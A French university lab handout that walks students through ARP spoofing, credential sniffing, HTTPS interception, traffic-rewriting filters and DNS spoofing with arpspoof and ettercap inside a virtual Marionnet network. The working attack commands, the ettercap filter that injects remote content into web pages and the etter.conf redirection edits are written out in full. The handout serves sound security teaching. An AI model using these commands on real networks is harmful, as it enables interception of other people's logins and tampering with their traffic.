TP sécurité - GIPSA-Lab

Transcription

TP sécurité - GIPSA-Lab
Université Grenoble Alpes
U.F.R. Sciences de l’Homme et de la Société
Licence MIASS
TP sécurité
ARP spoofing
L'objectif de ce TP est d’expérimenter une attaque man-in-the-middle (MIM) de type ARP
spoofing.
Pour réaliser ce TP, vous utiliserez les outils arpspoof et ettercap dans l’environnent virtuel
offert par Marionnet.
TP Sécurité – Licence MIASS – 2015/2016 – Christian Bulfone / Jean-Michel Adam
1/6
Préambule
1) Copiez sur votre bureau le projet nommé TP_MIM.mar qui se trouve dans le disque
« commun » puis LiMass/TPReseaux.
2) Lancez Marionnet : cliquez sur le bouton du haut du panel de gauche, et saisissez les premières
lettres du mot « Marionnet ». Cliquez sur l’icône correspondante.
Allez dans le menu Projet > Ouvrir, puis sélectionnez le projet que vous venez de copier. Vous
devriez vous retrouver avec 3 machines nommées barbossa, m1 et m2 et un équipement
nommé G1.
3) Démarrez les hôtes barbossa, m1 et m2 ainsi que le switch S1 et la passerelle G1. Notez les
adresses IP des différentes machines et de la passerelle.
4) Testez le bon fonctionnement de la résolution de noms avec la commande :
nslookup www.google.fr
5) Installez les outils ettercap et arpspoof (faisant partie du paquetage dsniff) sur l’hôte
barbossa avec les commandes :
aptitude update
aptitude install dsniff
Répondez Yes aux questions posées (ignorez les messages d’avertissement)
aptitude install ettercap
Répondez Yes aux questions posées (ignorez les messages d’avertissement)
TP Sécurité – Licence MIASS – 2015/2016 – Christian Bulfone / Jean-Michel Adam
2/6
Introduction à l’ARP spoofing
avec arpspoof
1) Sur barbossa, lancez le logiciel de capture et d’analyse de trames wireshark (commande
wireshark &), puis sur m1 faites un ping adresse_IP_m2. Vérifiez que le switch S1 joue
bien son rôle de protection et que vous ne recevez aucun des messages ICMP échangés entre m1
et m2.
2) Sur barbossa, activez l’IP forwarding afin que le noyau Linux agisse comme un routeur, avec la
commande :
echo 1 > /proc/sys/net/ipv4/ip_forward
3) Depuis barbossa, lancez l’attaque ciblée sur les machines m1 et m2 avec les commandes :
arpspoof –t adresse_IP_m1 adresse_IP_m2 > /dev/null 2>&1 &
arpspoof –t adresse_IP_m2 adresse_IP_m1 > /dev/null 2>&1 &
4) Vérifiez dans wireshark qu’à présent vous capturez bien le trafic ping (c’est-à-dire les trames
ICMP echo request et echo reply) entre les machines m1 et m2.
Stoppez l’attaque par la commande :
killall arpspoof
TP Sécurité – Licence MIASS – 2015/2016 – Christian Bulfone / Jean-Michel Adam
3/6
ARP spoofing évolué
avec ettercap
1) Depuis la machine barbossa, lancez une attaque ciblée sur la machine m1 à l’aide de la
commande :
ettercap –T
/tmp/result
–q
–M
arp:remote
/adresse_IP_m1/
/adresse_IP_G1/
-w
2) Sur m1, connectez-vous en ftp sur le serveur distant ftp.sebsauvage.net à l’aide de la
commande :
ftp ftp.sebsauvage.net
et des identifiant et mot de passe de votre choix. Que constatez-vous ?
3) Lancez à présent un navigateur Web (commande firefox), et tapez l’URL
http://imss-www.upmf-grenoble.fr/~bulfonec/blog. Cliquez sur le lien redirigeant
vers la page d’administration du site et saisissez comme identifant « admin » et n’importe quel
mot de passe. Que constatez-vous ?
4) Arrêtez l’attaque en tapant « q ». Lancez le logiciel wireshark et ouvrez le fichier result qui se
trouve dans le répertoire /tmp. Analysez les trames capturées.
5) Lancez wireshark sur m1, et démarrez une capture. Relancez sur barbossa la même attaque
contre m1. Observez les trames échangées. Affichez le contenu du cache ARP de m1 à l’aide de
la commande arp –n
6) Récupération d’un trafic chiffré en HTTPS : éditez le fichier /etc/etter.conf et remplacez
dans la section [privs]
ec_uid = 65534
ec_gid = 65534
par
ec_uid = 0
ec_gid = 0
et décommentez les deux lignes
# redir_command_on = "iptables –t nat …
# redir_command_off = "iptables –t nat …
Enregistrez les modifications puis relancez l’attaque :
ettercap –T –q –M arp:remote /adresse_IP_m1/ /adresse_IP_G1/
Sur m1, dans le navigateur Web tapez l’URL
https://www.gipsa-lab.grenoble-inp.fr/messitesweb
Acceptez le certificat présenté par le navigateur, et saisissez comme identifiant « bulfonec » et
n’importe quel mot de passe. Que constatez-vous ?
TP Sécurité – Licence MIASS – 2015/2016 – Christian Bulfone / Jean-Michel Adam
4/6
Modification de contenu à la volée
Le logiciel ettercap permet d’utiliser des filtres qu’il est possible de créer pour réaliser des actions
particulières.
1) Créez dans le répertoire /tmp de votre machine barbossa, un fichier nommé ig.filter
contenant les lignes suivantes :
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
msg("Filter Ran.\n");
}
2) Compilez votre filtre à l’aide de la commande :
etterfilter ig.filter –o ig.ef
3) Utilisez à présent votre filtre contre la machine m1 avec la commande :
ettercap –T –q –F ig.ef –M arp /adresse_IP_m1/ //
4) Sur m1, dans le navigateur Web Firefox (iceweasel), saisissez l’URL :
http://imss-www.upmf-grenoble.fr/master-ic2a
Que constatez-vous à présent ?
TP Sécurité – Licence MIASS – 2015/2016 – Christian Bulfone / Jean-Michel Adam
5/6
DNS spoofing
Ettercap dispose également d’un certain nombre de plugins utilisables. Parmi eux, dns_spoof
permet de réaliser du DNS spoofing.
1) Editez le fichier /usr/share/ettercap/etter.dns et remplacez toute occurrence de
l’adresse 198.182.196.56 par 91.121.22.172
2) Lancez ettercap avec le plugin dns_spoof avec la commande :
ettercap –T –q –P dns_spoof –M arp:remote /adresse_IP_m1/ /adresse_IP_srv_DNS1/
3) Sur m1, ouvrez le navigateur Web et tapez l’URL http://www.microsoft.com. Que
constatez-vous ?
4) Editez le fichier /usr/share/ettercap/etter.dns et ajoutez les directives nécessaires
pour que les requêtes DNS vers www.google.fr renvoient l’adresse IP de votre machine
barbossa. Vous pouvez testez sur m1 le bon fonctionnement avec la commande
nslookup www.google.fr
1
L’adresse du ou des serveurs de noms figure dans le fichier /etc/resolv.conf (ligne nameserver) de chaque machine.
Marionnet utilise le composant « gateway » pour jouer ce rôle.
TP Sécurité – Licence MIASS – 2015/2016 – Christian Bulfone / Jean-Michel Adam
6/6